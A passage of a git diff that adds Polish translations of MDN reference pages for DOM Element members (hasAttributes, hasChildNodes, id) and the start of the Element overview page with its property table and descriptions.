zależnie od tego, czy element posiada jakiekolwiek atrybuty.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">[ true | false ] = element.hasAttributes +</pre> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>t1 = document.getElementById("table-data"); +if ( t1.hasAttributes ) { + // zrób coś z + // t1.attributes +} +</pre> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-NodeHasAttrs">hasAttributes</a></p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.hasAttributes", "fr": "fr/DOM/element.hasAttributes", "it": "it/DOM/element.hasAttributes" } ) }}</p> diff --git a/files/pl/web/api/element/haschildnodes/index.html b/files/pl/web/api/element/haschildnodes/index.html new file mode 100644 index 0000000000..e21f22dedf --- /dev/null +++ b/files/pl/web/api/element/haschildnodes/index.html @@ -0,0 +1,28 @@ +--- +title: element.hasChildNodes +slug: Web/API/Element/hasChildNodes +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/hasChildNodes +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><b>hasChildNodes</b> zwraca wartość logiczną określającą, czy element posiada dzieci czy nie.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">[ true | false ] = element.hasChildNodes() +</pre> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>t1 = document.getElementById("table-data"); +if ( t1.hasChildNodes() ) { + // tabela ma dzieci } +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Zauważ, że składnia <code>element.hasChildNodes</code> - bez nawiasów <code>()</code> - jest nieprawidłowa. Takie użycie zawsze zwraca <code>true</code>, oznaczające, że metoda o tej nazwie jest dostępna w obiekcie. Nie daj się nabrać.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-810594187">hasChildNodes </a></p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/element.hasChildNodes", "fr": "fr/DOM/element.hasChildNodes", "ja": "ja/DOM/element.hasChildNodes" } ) }}</p> diff --git a/files/pl/web/api/element/id/index.html b/files/pl/web/api/element/id/index.html new file mode 100644 index 0000000000..53ba49d3b0 --- /dev/null +++ b/files/pl/web/api/element/id/index.html @@ -0,0 +1,38 @@ +--- +title: element.id +slug: Web/API/Element/id +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Element/id +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Własność <b>id</b> jednoznacznie identyfikuje bieżący element.</p> +<h3 id="Sk.C5.82adnia_i_warto.C5.9Bci" name="Sk.C5.82adnia_i_warto.C5.9Bci">Składnia i wartości</h3> +<pre class="eval"><i>id_str</i> = element.id +element.id =<i>id_str</i> +</pre> +<ul> + <li><code>id_str</code> to ciąg znaków reprezentujący <code>id</code> bieżącego elementu.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>if (element.id != "main_loop") + goBack(); +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Nie ma ważniejszej własności w dziedzinie konstruowania stron niż + <i> + id</i> + . ID elementu jest tym, czego najczęściej używa się by go wydobyć (np. za pomocą <b><a href="pl/DOM/document.getElementById">getElementById</a></b>) i pozwala ono manipulować węzłami niezależnie od innych węzłów. W HTML-u i w XUL-u <b>id</b> definiowane jest jako atrybut tak:</p> +<pre class="eval"><td id="table-cell2" /> +</pre> +<p>Jeśli zamierzasz używać DOM na swoich stronach dobrze jest przypisać tyle atrybutów <b>id</b> ile tylko będzie potrzebne. Zauważ też, że + <i> + id</i> + używa się również by powiązać reguły stylów CSS z poszczególnymi elementami.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-63534901">id </a></p> +<p>{{ languages( { "en": "en/DOM/element.id", "fr": "fr/DOM/element.id", "ja": "ja/DOM/element.id", "zh-cn": "cn/DOM/element.id" } ) }}</p> diff --git a/files/pl/web/api/element/index.html b/files/pl/web/api/element/index.html new file mode 100644 index 0000000000..5a7c6be166 --- /dev/null +++ b/files/pl/web/api/element/index.html @@ -0,0 +1,677 @@ +--- +title: Element +slug: Web/API/Element +tags: + - DOM + - Gecko +translation_of: Web/API/Element +--- +<p>{{ ApiRef}}</p> + +<p>Ten rozdział dostarcza zwięzłych informacji dla wszystkich metod, własności i zdarzeń dostępnych dla większości elementów HTML i XML w Gecko DOM.</p> + +<p>Różne specyfikacje W3C mają zastosowanie do elementów:</p> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/">DOM Core Specification</a>—opisuje główne interfejsy współdzielone przez większość obiektów DOM w dokumentach HTML i XML</li> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/">DOM HTML Specification</a>—opisuje interfejsy dla obiektów w dokumentach HTML i XHTML tworzonych na głównej specyfikacji</li> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/">DOM Events Specification</a>—opisuje zdarzenia współdzielone przez większość obiektów DOM, tworzone na głównej specyfikacji DOM i specyfikacji <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Views/">Views</a></li> +</ul> + +<p>Niniejsze interfejsy DOM łączą różne specyfikacje, jednak staramy się skoncentrować na rekomendacji DOM Level 2 HTML. Każda podstrona zawiera odnośnik do odpowiedniego fragmentu specyfikacji W3C DOM.</p> + +<p>W tym miejscu "elementy" oznaczają ten interfejs, jaki mają wszystkie elementy HTML i XML. Istnieją również bardziej specjalizowane interfejsy dla poszczególnych elementów - np. <code>BODY</code> posiada dodatkowe funkcje i własności, podobnie tabele. W tym rozdziale omówiony jest tylko ten interfejs, jak współdzielą wszystkie elementy.</p> + +<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h3> + +<table class="fullwidth-table"> + <tbody> + <tr> + <th>Nazwa</th> + <th>Opis</th> + <th>Typ</th> + <th>Dostępność</th> + </tr> + <tr> + <td><code><a href="/pl/DOM/element.attributes" title="pl/DOM/element.attributes">attributes</a></code></td> + <td>Zwraca tablicę atrybutów elementu.</td> + <td><code><a href="/pl/DOM/NamedNodeMap" title="pl/DOM/NamedNodeMap">NamedNodeMap</a></code></td> + <td><small><a href="/pl/DOM" title="pl/DOM">Wszystkie</a></small></td> + </tr> + <tr> + <td><code><a href="/pl/DOM/element.childNodes" title="pl/DOM/element.childNodes">childNodes</a></code></td> + <td>Zwraca tablicę węzłów potomnych elementu.</td> + <td><code><a href="/pl/DOM/NodeList" title="pl/DOM/NodeList">NodeList</a></code></td> + <td><small><a href="/pl/DOM" title="pl/DOM">Wszystkie</a></small></td> + </tr> + <tr> + <td><code><a href="/pl/DOM/element.className" title="pl/DOM/element.className">className</a></code></td> + <td>Pobiera/ustawia klasę elementu.</td> + <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/String">String</a></code></td> + <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a>, <a href="/pl/XUL" title="pl/XUL">XUL</a></small></td> + </tr> + <tr> + <td><code><a href="/pl/DOM/element.clientHeight" title="pl/DOM/element.clientHeight">clientHeight</a></code></td> + <td>Zwraca wewnętrzną wysokość elementu.</td> + <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Number">Number</a></code></td> + <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a></small></td> + </tr> + <tr> + <td><code><a href="/pl/DOM/element.clientWidth" title="pl/DOM/element.clientWidth">clientWidth</a></code></td> + <td>Zwraca wewnętrzną szerokość elementu.</td> + <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Number">Number</a></code></td> + <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a></small></td> + </tr> + <tr> + <td><code><a href="/pl/DOM/element.dir" title="pl/DOM/element.dir">dir</a></code></td> + <td>Ustawia lub pobiera kierunek elementu.</td> + <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/String">String</a></code></td> + <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a>, <a href="/pl/XUL" title="pl/XUL">XUL</a></small></td> + </tr> + <tr> + <td><code><a href="/pl/DOM/element.firstChild" title="pl/DOM/element.firstChild">firstChild</a></code></td> + <td>Zwraca pierwsze dziecko bieżącego węzła lub <code>null</code>, jeśli ten element nie posiada węzła potomnego.</td> + <td><code><a href="/pl/DOM/Node" title="pl/DOM/Node">Node</a></code></td> + <td><small><a href="/pl/DOM" title="pl/DOM">Wszystkie</a></small></td> + </tr> + <tr> + <td><code><a href="/pl/DOM/element.id" title="pl/DOM/element.id">id</a></code></td> + <td>Pobiera/ustawia id elementu.</td> + <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/String">String</a></code></td> + <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a>, <a href="/pl/XUL" title="pl/XUL">XUL</a></small></td> + </tr> + <tr> + <td><code><a href="/pl/DOM/element.innerHTML" title="pl/DOM/element.innerHTML">innerHTML</a></code></td> + <td>Pobiera/ustawia znacznik zawartości elementu.</td> + <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/String">String</a></code></td> + <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a></small></td> + </tr> + <tr> + <td><code><a href="/pl/DOM/element.lang" title="pl/DOM/element.lang">lang</a></code></td> + <td>Określa język bazowy dla wartość atrybutów i tekstowej zawartości elementu.</td> + <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/String">String</a></code></td> + <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a></small></td> + </tr> + <tr> + <td><code><a href="/pl/DOM/element.lastChild" title="pl/DOM/element.lastChild">lastChild</a></code></td> + <td>Zwraca ostatnie dziecko bieżącego węzła elementu lub <code>null</code> jeśli ten element nie posiada węzłów potomnych.</td> + <td><code><a href="/pl/DOM/Node" title="pl/DOM/Node">Node</a></code></td> + <td><small><a href="/pl/DOM" title="pl/DOM">Wszystkie</a></small></td> + </tr> + <tr> + <td><code><a href="/pl/DOM/element.localName" title="pl/DOM/element.localName">localName</a></code></td> + <td>Zwraca lokalną część uściślonej nazwy węzła.</td> + <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/String">String</a></code></td> + <td><small><a href="/pl/DOM" title="pl/DOM">Wszystkie</a></small></td> + </tr> + <tr> + <th>Nazwa</th> + <th>Opis</th> + <th>Typ</th> + <th>Dostępność</th> + </tr> + <tr> + <td><code><a href="/pl/DOM/element.name" title="pl/DOM/element.name">name</a></code></td> + <td>Pobiera lub ustawia atrybut <code>name</code> - dostępne nie dla wszystkich elementów.</td> + <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/String">String</a></code></td> + <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a></small></td> + </tr> + <tr> + <td><code><a href="/pl/DOM/element.namespaceURI" title="pl/DOM/element.namespaceURI">namespaceURI</a></code></td> + <td>URI przestrzeni nazw węzła lub <code>null</code>, jeśli jest bliżej nieokreślony.</td> + <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/String">String</a></code></td> + <td><small><a href="/pl/DOM" title="pl/DOM">Wszystkie</a></small></td> + </tr> + <tr> + <td><code><a href="/pl/DOM/element.nextSibling" title="pl/DOM/element.nextSibling">nextSibling</a></code></td> + <td>Węzeł bezpośrednio następny w drzewie dokumentu lub <code>null</code> jeżeli takiego nie ma.</td> + <td><code><a href="/pl/DOM/Node" title="pl/DOM/Node">Node</a></code></td> + <td><small><a href="/pl/DOM" title="pl/DOM">Wszystkie</a></small></td> + </tr> + <tr> + <td><code><a href="/pl/DOM/element.nodeName" title="pl/DOM/element.nodeName">nodeName</a></code></td> + <td>Nazwa węzła.</td> + <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/String">String</a></code></td> + <td><small><a href="/pl/DOM" title="pl/DOM">Wszystkie</a></small></td> + </tr> + <tr> + <td><code><a href="/pl/DOM/element.nodeType" title="pl/DOM/element.nodeType">nodeType</a></code></td> + <td>Cyfra reprezentująca typ węzła. <code>1</code> oznacza element DOM.</td> + <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Number">Number</a></code></td> + <td><small><a href="/pl/DOM" title="pl/DOM">Wszystkie</a></small></td> + </tr> + <tr> + <td><code><a href="/pl/DOM/element.nodeValue" title="pl/DOM/element.nodeValue">nodeValue</a></code></td> + <td>Wartość węzła atrybutu, zawartość węzła tekstowego lub <code>null</code> dla elementu DOM.</td> + <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/String">String</a></code></td> + <td><small><a href="/pl/DOM" title="pl/DOM">Wszystkie</a></small></td> + </tr> + <tr> + <td><code><a href="/pl/DOM/element.offsetHeight" title="pl/DOM/element.offsetHeight">offsetHeight</a></code></td> + <td>Wysokość elementu, odnosząca się do układu strony.</td> + <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Number">Number</a></code></td> + <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a></small></td> + </tr> + <tr> + <td><code><a href="/pl/DOM/element.offsetLeft" title="pl/DOM/element.offsetLeft">offsetLeft</a></code></td> + <td>Odległość pomiędzy lewą krawędzią elementu, a jego <code>offsetParent</code> lewej krawędzi.</td> + <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Number">Number</a></code></td> + <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a></small></td> + </tr> + <tr> + <td><code><a href="/pl/DOM/element.offsetParent" title="pl/DOM/element.offsetParent">offsetParent</a></code></td> + <td>Element, od którego obliczane są wszystkie przesunięcia.</td> + <td><code><a href="/pl/DOM/element" title="pl/DOM/element">Element</a></code></td> + <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a></small></td> + </tr> + <tr> + <td><code><a href="/pl/DOM/element.offsetTop" title="pl/DOM/element.offsetTop">offsetTop</a></code></td> + <td>Odległość pomiędzy górną krawędzią elementu, a jego <code>offsetParent</code> górnej krawędzi.</td> + <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Number">Number</a></code></td> + <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a></small></td> + </tr> + <tr> + <td><code><a href="/pl/DOM/element.offsetWidth" title="pl/DOM/element.offsetWidth">offsetWidth</a></code></td> + <td>Szerokość elementu, odnosząca się do układu strony.</td> + <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Number">Number</a></code></td> + <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a></small></td> + </tr> + <tr> + <td><code><a href="/pl/DOM/element.ownerDocument" title="pl/DOM/element.ownerDocument">ownerDocument</a></code></td> + <td>Dokument, którego węzeł jest w lub <code>null</code> jeśli węzeł nie znajduje się wewnątrz.</td> + <td><code><a href="/pl/DOM/document" title="pl/DOM/document">Document</a></code></td> + <td><small><a href="/pl/DOM" title="pl/DOM">Wszystkie</a></small></td> + </tr> + <tr> + <th>Nazwa</th> + <th>Opis</th> + <th>Typ</th> + <th>Dostępność</th> + </tr> + <tr> + <td><code><a href="/pl/DOM/element.parentNode" title="pl/DOM/element.parentNode">parentNode</a></code></td> + <td>Element nadrzędny bieżącego węzła lub <code>null</code> jeżeli węzeł nie znajduje się wewnątrz dokumentu DOM.</td> + <td><code><a href="/pl/DOM/Node" title="pl/DOM/Node">Node</a></code></td> + <td><small><a href="/pl/DOM" title="pl/DOM">Wszystkie</a></small></td> + </tr> + <tr> + <td><code><a href="/pl/DOM/element.prefix" title="pl/DOM/element.prefix">prefix</a></code></td> + <td>Prefiks przestrzeni nazw węzła lub <code>null</code> jeżeli nie określono prefiksa.</td> + <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/String">String</a></code></td> + <td><small><a href="/pl/DOM" title="pl/DOM">Wszystkie</a></small></td> + </tr> + <tr> + <td><code><a href="/pl/DOM/element.previousSibling" title="pl/DOM/element.previousSibling">previousSibling</a></code></td> + <td>Węzeł bezpośrednio poprzedni w drzewie dokumentu lub <code>null</code> jeżeli takiego nie ma.</td> + <td><code><a href="/pl/DOM/Node" title="pl/DOM/Node">Node</a></code></td> + <td><small><a href="/pl/DOM" title="pl/DOM">Wszystkie</a></small></td> + </tr> + <tr> + <td><code><a href="/pl/DOM/element.scrollHeight" title="pl/DOM/element.scrollHeight">scrollHeight</a></code></td> + <td>The scroll view height of an element.</td> + <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Number">Number</a></code></td> + <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a></small></td> + </tr> + <tr> + <td><code><a href="/pl/DOM/element.scrollLeft" title="pl/DOM/element.scrollLeft">scrollLeft</a></code></td> + <td>Pobiera/Ustawia liczbę pikseli, o którą zostanie przewinięta zawartość dokumentu.</td> + <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Number">Number</a></code></td> + <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a></small></td> + </tr> + <tr> + <td><code><a href="/pl/DOM/element.scrollTop" title="pl/DOM/element.scrollTop">scrollTop</a></code></td> + <td>Pobiera/Ustawia liczbę pikseli, o którą ma zostać przewinięta w górę zawartość elementu.</td> + <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Number">Number</a></code></td> + <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a></small></td> + </tr> + <tr> + <td><code><a href="/pl/DOM/element.scrollWidth" title="pl/DOM/element.scrollWidth">scrollWidth</a></code></td> + <td>Zwraca szerokość zawartości elementu w pikselach lub szerokość samego elementu.</td> + <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Number">Number</a></code></td> + <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a></small></td> + </tr> + <tr> + <td><code><a href="/pl/DOM/element.style" title="pl/DOM/element.style">style</a></code></td> + <td>Obiekt reprezentujący deklaracje stylów elementu.</td> + <td><code><a href="/pl/DOM/CSSStyleDeclaration" title="pl/DOM/CSSStyleDeclaration">CSSStyle</a></code></td> + <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a>, <a href="/pl/XUL" title="pl/XUL">XUL</a></small></td> + </tr> + <tr> + <td><code><a href="/pl/DOM/element.tabIndex" title="pl/DOM/element.tabIndex">tabIndex</a></code></td> + <td>Pobiera lub ustawia pozycję elementu w kolejności przechodzenia tabulatorem.</td> + <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Number">Number</a></code></td> + <td><small><a href="/pl/HTML" title="pl/HTML">HTML</a></small></td> + </tr> + <tr> + <td><code><a href="/pl/DOM/element.tagName" title="pl/DOM/element.tagName">tagName</a></code></td> + <td>Nazwa znacznika HTML danego elementu.</td> + <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/String">String</a></code></td> + <td><small><a href="/pl/DOM" title="pl/DOM">Wszystkie</a></small></td> + </tr> + <tr> + <td><code><a href="/pl/DOM/element.textContent" title="pl/DOM/element.textContent">textContent</a></code></td> + <td>Pobiera bądź ustawia tekstową treść elementu i jego potomków.</td> + <td><code><a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/String">String</a></code></td> + <td><small><a href="/pl/DOM" title="pl/DOM">Wszystkie</a></small></td> + </tr> + </tbody> +</table> + +<p> </p> + +<dl> + <dt><a href="/pl/DOM/element.attributes" title="pl/DOM/element.attributes">attributes</a></dt> + <dd>Zwraca tablicę atrybutów elementu.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.childNodes" title="pl/DOM/element.childNodes">childNodes</a></dt> + <dd>Zwraca tablicę węzłów potomnych elementu</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.className" title="pl/DOM/element.className">className</a></dt> + <dd>Pobiera/ustawia klasę elementu.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.clientHeight" title="pl/DOM/element.clientHeight">clientHeight</a></dt> + <dd>Własność DHTML-a, reprezentuje wewnętrzną wysokość elementu.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.clientLeft" title="pl/DOM/element.clientLeft">clientLeft</a></dt> + <dd>Długość od lewego obramowania elementu wyrażona w pikselach. <em>Aktualnie nie obsługiwana.</em></dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.clientTop" title="pl/DOM/element.clientTop">clientTop</a></dt> + <dd>Długość od górnego obramowania elementu wyrażona w pikselach. <em>Aktualnie nie obsługiwana.</em></dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.clientWidth" title="pl/DOM/element.clientWidth">clientWidth</a></dt> + <dd>Własność DHTML-a, reprezentuje wewnętrzną szerokość elementu.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.dir" title="pl/DOM/element.dir">dir</a></dt> + <dd>Pobiera/ustawia kierunkowość (ang. <em>directionality</em>) elementu.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.firstChild" title="pl/DOM/element.firstChild">firstChild</a></dt> + <dd>Zwraca pierwsze dziecko bieżącego węzła.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.id" title="pl/DOM/element.id">id</a></dt> + <dd>Pobiera/ustawia id elementu.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.innerHTML" title="pl/DOM/element.innerHTML">innerHTML</a></dt> + <dd>innerHTML zwraca całą zawartość elementu wraz ze znacznikami.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.lang" title="pl/DOM/element.lang">lang</a></dt> + <dd>Określa język bazowy dla wartość atrybutów i tekstowej zawartości elementu.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.lastChild" title="pl/DOM/element.lastChild">lastChild</a></dt> + <dd>Zwraca ostatnie dziecko bieżącego węzła.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.length" title="pl/DOM/element.length">length</a></dt> + <dd>Zwraca ilość elementów listy (np. childNodes).</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.localName" title="pl/DOM/element.localName">localName</a></dt> + <dd>Zwraca lokalną część uściślonej nazwy węzła.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.name" title="pl/DOM/element.name">name</a></dt> + <dd>Pobiera lub ustawia atrybut <code>name</code> - dostępne nie dla wszystkich elementów.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.namespaceURI" title="pl/DOM/element.namespaceURI">namespaceURI</a></dt> + <dd>URI przestrzeni nazw węzła lub NULL, jeśli nie określono przestrzeni nazw.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.nextSibling" title="pl/DOM/element.nextSibling">nextSibling</a></dt> + <dd>Zwraca węzeł bezpośrednio następny w drzewie dokumentu.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.nodeName" title="pl/DOM/element.nodeName">nodeName</a></dt> + <dd>Zwraca nazwę biężącego węzła.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.nodeType" title="pl/DOM/element.nodeType">nodeType</a></dt> + <dd>Zwraca typ bieżącego węzła.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.nodeValue" title="pl/DOM/element.nodeValue">nodeValue</a></dt> + <dd>Zwraca wartość bieżącego węzła.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.offsetHeight" title="pl/DOM/element.offsetHeight">offsetHeight</a></dt> + <dd>offsetHeight jest własnością DHTML-a, zwracającą wysokość elementu względem układu.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.offsetLeft" title="pl/DOM/element.offsetLeft">offsetLeft</a></dt> + <dd>offsetLeft pobiera/ustawia ilość pikseli, jaka dzieli element od lewej strony wewnątrz węzła offsetParent.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.offsetParent" title="pl/DOM/element.offsetParent">offsetParent</a></dt> + <dd>offsetParent zwraca referencję do obiektu, w którym obecny element się znajduje (tj. rodzica).</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.offsetTop" title="pl/DOM/element.offsetTop">offsetTop</a></dt> + <dd>offsetTop zwraca pozycję obecnego elementu względem góry węzła offsetParent.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.offsetWidth" title="pl/DOM/element.offsetWidth">offsetWidth</a></dt> + <dd>offsetWidth jest własnością DHTML-a, zwracającą szerokość elementu względem układu.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.ownerDocument" title="pl/DOM/element.ownerDocument">ownerDocument</a></dt> + <dd>Zwraca dokument, w którym znajduje się bieżący węzeł.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.parentNode" title="pl/DOM/element.parentNode">parentNode</a></dt> + <dd>Zwraca rodzica bieżącego węzła.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.prefix" title="pl/DOM/element.prefix">prefix</a></dt> + <dd>Zwraca prefiks przestrzeni nazw obecnego węzła bądź NULL, jeśli nie określono przestrzeni nazw.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.previousSibling" title="pl/DOM/element.previousSibling">previousSibling</a></dt> + <dd>Zwraca węzeł bezpośrednio poprzedni w drzewie dokumentu.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.scrollHeight" title="pl/DOM/element.scrollHeight">scrollHeight</a></dt> + <dd>Własność DHTML-a, zwraca wysokość zawartości elementu z paskiem przewijania.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.scrollLeft" title="pl/DOM/element.scrollLeft">scrollLeft</a></dt> + <dd>pobiera bądź ustawia liczbę pikseli, o którą zostanie przewinięta zawartość dokumentu. Kierunek przewijania odbywa się w lewo.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.scrollTop" title="pl/DOM/element.scrollTop">scrollTop</a></dt> + <dd>Własność DHTML-a, która ustawia bądź pobiera odległość między górą elementu a najwyższym punktem zawartości elementu z paskiem przewijania.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.scrollWidth" title="pl/DOM/element.scrollWidth">scrollWidth</a></dt> + <dd>Zwraca the width of the scroll view of an element.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.style" title="pl/DOM/element.style">style</a></dt> + <dd>Zwraca blok reguł stylów dla elementu.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.tabIndex" title="pl/DOM/element.tabIndex">tabIndex</a></dt> + <dd>Pobiera/ustawia pozycję elementu w porządku tabulacji.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.tagName" title="pl/DOM/element.tagName">tagName</a></dt> + <dd>Zwraca nazwę elementu.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/element.textContent" title="pl/DOM/element.textContent">textContent</a></dt> + <dd>Pobiera/ustawia zawartość tekstu elementu włączając jego potomków.</dd> +</dl> + +<h3 id="Metody" name="Metody">Metody</h3> + +<dl> + <dt><a href="/pl/DOM/element.addEventListener" title="pl/DOM/element.addEventListener">addEventListener</a></dt> + <dd>Pozwala zarejestrować obserwatora 